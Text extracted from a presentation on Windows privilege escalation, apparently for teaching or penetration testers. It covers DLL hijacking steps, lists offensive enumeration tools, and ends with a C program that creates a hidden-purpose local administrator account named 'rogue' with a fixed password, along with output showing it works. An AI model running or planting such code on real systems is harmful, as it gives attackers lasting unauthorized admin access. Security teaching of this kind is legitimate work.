- 7 Kernel exploits
- 8 Miscellaneous**
 - DLL hijacking
 - Creating user programmatically
- 9 Conclusion

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous**
 - DLL hijacking
 - Creating user programmatically
- 9 Conclusion

DLL hijacking

- look for privileged programs loading non-existent DLLs (procmon¹¹)
- but also DLLs with rewritable path
- replace it with a rogue DLL
- obtain the target process privileges

¹¹<https://learn.microsoft.com/en-us/sysinternals/downloads/procmon>

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous**
 - DLL hijacking
 - Creating user programmatically
- 9 Conclusion

AddUserProg.c

example

```
#define _CRT_SECURE_NO_WARNINGS
#include <process.h>
#include <stdio.h>
#include <string.h>

int main()
{
    int status = system("net user rogue P@ssw0rd123 /add");
    if (status == -1)
    {
        printf("%s", strerror(errno));
    }

    status = system("net localgroup administrators rogue /add");
    if (status == -1)
    {
        printf("%s", strerror(errno));
    }

    return 0;
}
```

AddUserProg.exe

```
PS C:\Users\winte\source\repos\AddUserProg\x64\Release> .\AddUserProg.exe
The command completed successfully.
```

The command completed successfully.

```
PS C:\Users\winte\source\repos\AddUserProg\x64\Release> net user rogue
```

User name rogue

Full Name

Comment

User's comment

Country/region code 000 (System Default)

Account active Yes

Account expires Never

Password last set 2/10/2025 8:59:41 AM

Password expires 3/24/2025 8:59:41 AM

Password changeable 2/10/2025 8:59:41 AM

Password required Yes

User may change password Yes

Workstations allowed All

Logon script

User profile

Home directory

Last logon Never

Logon hours allowed All

Local Group Memberships *Administrators *Users

Global Group memberships none

The command completed successfully.

Outline

- 1 Introduction
- 2 Some recon
- 3 Excessive privileges
- 4 Wrong permissions
- 5 Credential harvesting
- 6 Userland exploits
- 7 Kernel exploits
- 8 Miscellaneous
- 9 Conclusion**

Automation

- WinPEAS¹²
- SeatBelt¹³
- JAWS¹⁴
- PowerUp¹⁵
- Sherlock¹⁶

¹²<https://github.com/peass-ng/PEASS-ng>

¹³<https://github.com/GhostPack/Seatbelt>

¹⁴<https://github.com/411Hall/JAWS>

¹⁵<https://github.com/PowerShellMafia/PowerSploit>

¹⁶<https://github.com/rasta-mouse/Sherlock>

What really works

- credentials in files (scripts, configurations...)

What really works

- credentials in files (scripts, configurations...)
- wrong permissions on services, files, scheduled tasks, SMB shares...

What really works

- credentials in files (scripts, configurations...)
- wrong permissions on services, files, scheduled tasks, SMB shares...
- User-land/Kernel-land exploit + poor patch policy

The End

Questions?